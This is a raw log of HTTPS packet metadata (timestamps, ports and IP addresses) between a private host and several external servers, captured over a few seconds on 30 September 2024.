Sep 30, 2024 18:58:15.230705023 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.230725050 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.230747938 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.230747938 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.230752945 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.230766058 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.230809927 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.230809927 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.231419086 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.231472969 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.231477976 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.231484890 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.231539965 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.231539965 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.231544971 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.231712103 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.231741905 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.231789112 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.231789112 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.231794119 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232237101 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232290030 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.232304096 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232409954 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.232428074 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232456923 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232502937 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.232502937 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.232507944 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232551098 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232589006 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.232589006 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.232593060 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232664108 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232709885 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.232726097 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232850075 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.232889891 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.232889891 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.232893944 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.233385086 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.233428955 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.233445883 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.233449936 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.233470917 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.233603001 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.233649969 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.233649969 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.233656883 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.234421015 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.234513044 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.234555960 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.234555960 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.234560966 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.234586000 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.234668016 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.234714985 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.234714985 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.234719038 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.257042885 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:15.257069111 CEST	443	49732	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:15.257441998 CEST	443	49732	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:15.258992910 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:15.266177893 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.275594950 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.296880007 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:15.296905994 CEST	443	49732	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:15.297080994 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:15.313623905 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.313668013 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.313699961 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.313796043 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.313796043 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.313808918 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.313864946 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.314228058 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.314275026 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.314287901 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.314297915 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.314327002 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.314383030 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.314496994 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.314560890 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.314564943 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.314574957 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.314629078 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.314629078 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.315237999 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.315388918 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.315392971 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.315407038 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.315465927 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.315494061 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.315659046 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.315666914 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.315674067 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.315731049 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.315731049 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.316265106 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.316391945 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.316395044 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.316402912 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.316472054 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.316472054 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.317466021 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.317533016 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.317588091 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.317588091 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.317595005 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.317751884 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.317867041 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.317876101 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.317881107 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.317939043 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.317979097 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.317979097 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.317985058 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.318020105 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.318413973 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.318476915 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.318480968 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.318489075 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.318523884 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.318625927 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.318646908 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.318654060 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.318689108 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.318705082 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.318823099 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.318830013 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.318897963 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.319328070 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.319363117 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.319461107 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.319461107 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.319468021 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.319546938 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.319581032 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.319616079 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.319616079 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.319633961 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.319645882 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.319647074 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.319701910 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.319701910 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.319706917 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.320029020 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.320072889 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.320092916 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.320262909 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.320339918 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.320348024 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.320394039 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.320498943 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.320533991 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.320533991 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.323404074 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.339399099 CEST	443	49732	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:15.380836010 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.383577108 CEST	49727	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.383601904 CEST	443	49727	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.484838009 CEST	443	49732	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:15.485318899 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:15.485343933 CEST	443	49732	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:15.485383987 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:15.485404968 CEST	49732	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:15.606427908 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.606450081 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.606534004 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.606564045 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.606606007 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.606770039 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.606776953 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.606815100 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.607459068 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.607466936 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.607518911 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.835349083 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.835400105 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.835424900 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.835438967 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.835493088 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.835671902 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.835711956 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.835782051 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.835788965 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.835829020 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.836414099 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.836421013 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.836468935 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.836807013 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.836815119 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.836872101 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.837136984 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.837143898 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.837181091 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.837188005 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.837219000 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.838630915 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.852536917 CEST	49726	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:15.852556944 CEST	443	49726	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:15.901926994 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 30, 2024 18:58:15.977802038 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 30, 2024 18:58:16.125319958 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 30, 2024 18:58:16.167803049 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:16.167860031 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:16.167932034 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:16.168421030 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:16.168437958 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:16.239886999 CEST	49737	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:58:16.239995003 CEST	443	49737	142.250.184.228	192.168.2.5
Sep 30, 2024 18:58:16.240103006 CEST	49737	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:58:16.240334034 CEST	49737	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:58:16.240371943 CEST	443	49737	142.250.184.228	192.168.2.5
Sep 30, 2024 18:58:16.467813969 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:16.467849016 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:16.467926979 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:16.468211889 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:16.468228102 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:16.873774052 CEST	443	49737	142.250.184.228	192.168.2.5
Sep 30, 2024 18:58:16.905462980 CEST	49737	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:58:16.905497074 CEST	443	49737	142.250.184.228	192.168.2.5
Sep 30, 2024 18:58:16.906753063 CEST	443	49737	142.250.184.228	192.168.2.5
Sep 30, 2024 18:58:16.906843901 CEST	49737	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:58:16.908422947 CEST	49737	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:58:16.908526897 CEST	443	49737	142.250.184.228	192.168.2.5
Sep 30, 2024 18:58:17.096873999 CEST	49737	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:58:17.096915007 CEST	443	49737	142.250.184.228	192.168.2.5
Sep 30, 2024 18:58:17.154603958 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.157677889 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.157695055 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.158143044 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.160391092 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.160455942 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.160728931 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.203406096 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.298778057 CEST	49737	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:58:17.433434963 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.450570107 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.450599909 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.451183081 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.451241016 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.451916933 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.451970100 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.495377064 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.495536089 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.496128082 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.496149063 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.689410925 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.767214060 CEST	443	49712	23.1.237.91	192.168.2.5
Sep 30, 2024 18:58:17.768604040 CEST	49712	443	192.168.2.5	23.1.237.91
Sep 30, 2024 18:58:17.818710089 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.818826914 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.818924904 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.818941116 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.819276094 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.819324970 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.819330931 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.819377899 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.820386887 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.820476055 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.820482969 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.820532084 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.820581913 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.820631027 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.821436882 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.821495056 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.943291903 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.943317890 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.943404913 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.943443060 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.943491936 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.943984032 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.943993092 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.944046021 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.944628000 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.944637060 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.944689989 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.944753885 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.944788933 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.944804907 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.944813013 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.944855928 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.987303972 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.987365961 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:17.987380981 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:17.987433910 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.023670912 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.023751974 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.023765087 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.023782969 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.023818016 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.023838997 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.024497032 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.024559975 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.025214911 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.025278091 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.025917053 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.025959969 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.025974989 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.025979042 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.026006937 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.026026011 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.026037931 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.026094913 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.026885986 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.026947021 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.026963949 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.026973009 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.027003050 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.027024031 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.027839899 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.027900934 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.027935982 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.027987003 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.118299961 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.118370056 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.146718025 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.146728039 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.146787882 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.147011995 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.147021055 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.147058010 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.147063971 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.147078037 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.147116899 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.147124052 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.147155046 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.147216082 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.150582075 CEST	49738	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.150602102 CEST	443	49738	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.228734016 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.228782892 CEST	443	49736	203.101.184.86	192.168.2.5
